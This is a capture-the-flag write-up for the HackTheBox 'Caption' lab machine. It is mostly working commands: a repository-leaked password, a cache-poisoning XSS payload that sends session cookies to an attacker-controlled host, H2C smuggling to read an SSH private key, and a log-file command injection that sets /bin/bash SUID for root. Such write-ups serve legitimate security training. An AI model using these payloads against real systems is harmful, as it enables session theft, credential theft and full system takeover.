Post

HackTheBox Caption Writeup

Dive into the depths of cybersecurity with the Caption The Flag (CTF) challenge, a hard-level test of skill designed for seasoned professionals. This intense CTF writeup guides you through advanced techniques and complex vulnerabilities, pushing your expertise to the limit.

Add Hosts

Edit the /etc/hosts file and add the following entries:

1
10.10.11.33 caption.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.33"
domain="caption.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV caption.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST
Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open  http       Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel

Web Application - Port 80

http://caption.htb

The web application on port 80 presents a login page.

Web Application - Port 8080

http://caption.htb:8080

Port 8080 runs a GitBucket instance with a “Caption-Portal” repository. A commit within this repository (http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a) revealed the password for the user “margo”.

Use these credentials, access to http://caption.htb as “margo” on port 80.

XSS Privilege Escalation via Cache Poisoning

Cache Poisoning

Initial Request to Cache:
After logging in, check if the content is cached by making the following request:

1
GET /firewalls HTTP/1.1

On the second request, you’ll see that the content is cached:

1
2
x-varnish: 1802321 400836
age: 9

Initially, you might see a MISS header, indicating it wasn’t cached before.

XSS Injection via X-Forwarded-Host

Inject an XSS payload into the cache using the X-Forwarded-Host header:

1
X-Forwarded-Host: "></script><script src='http://10.10.14.2:8000/xss.js'></script>

In the response, you should see something like this:

1
2
<script src="http://caption.htb/static/js/lib.js?utm_source=http://"></script>
<script src='http://10.10.14.2:8000/xss.js'></script>

This confirms the XSS injection point is working.

Host Malicious JavaScript

Host your malicious JavaScript file using Python’s built-in HTTP server:

1
python -m http.server

Clean the Web Cache

Clear the web cache to ensure fresh content is fetched:

1
curl caption.htb -X XCGFULLBAN

Obtain the session cookie by sending this POST request:

1
2
3
4
5
6
POST / HTTP/1.1
Host: caption.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

username=margo&password=vFr%26cS2%230%21

Execute XSS Payload for Admin Token Exfiltration

Using the session cookie, craft the following GET request to execute the XSS payload and retrieve the .ssh/id_ecdsa key:

1
2
3
4
GET /firewalls HTTP/1.1
Host: caption.htb
X-Forwarded-Host: "></script><script>new Image().src='http://10.10.14.2:8000/?cookie=' + encodeURIComponent(document.cookie);</script>
Cookie: session=<cookie>

H2C Smuggling To LFI

1
2
echo -en "Admin Token? ";read admin_token
h2csmuggler -x http://caption.htb -H "Cookie: session=$admin_token" "http://caption.htb/download?url=$(echo "\"http://127.0.0.1:3923/.cpr/$(echo "/home/margo/.ssh/id_ecdsa" | sed 's/\//%2F/g')\"" | jq -r '@uri')"

The URL http://127.0.0.1:3923/.cpr/ was discovered through fuzzing, and using this endpoint, you can retrieve the private key.

1
2
3
nano id_ecdsa
chmod 0600 id_ecdsa
ssh -i id_ecdsa margo@caption.htb

Port Forwarding

1
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb

On Target

1
2
echo "127.0.0.1 \"user-agent\":\"'; /bin/bash /tmp/payload.sh #\"" > /tmp/malicious.log
echo "chmod +s /bin/bash" > /tmp/payload.sh

On Client

Thrift is needed install it with your pkgmanager or python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mkdir -p exploit
cd exploit
echo "namespace go log_service\n\nservice LogService {\n    string ReadLogFile(1: string filePath)\n}" > log_service.thrift
thrift -r --gen py log_service.thrift
cd gen-py
cat << 'EOF' > client.py
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

if __name__ == '__main__':
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = LogService.Client(protocol)
    transport.open()
    try:
        log_file_path = "/tmp/malicious.log"
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
    transport.close()
EOF
python3 client.py
cd ../..
rm -rf exploit

After running the client, /bin/bash will be set SUID and you can get root shell by executing

1
2
/bin/bash -p
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.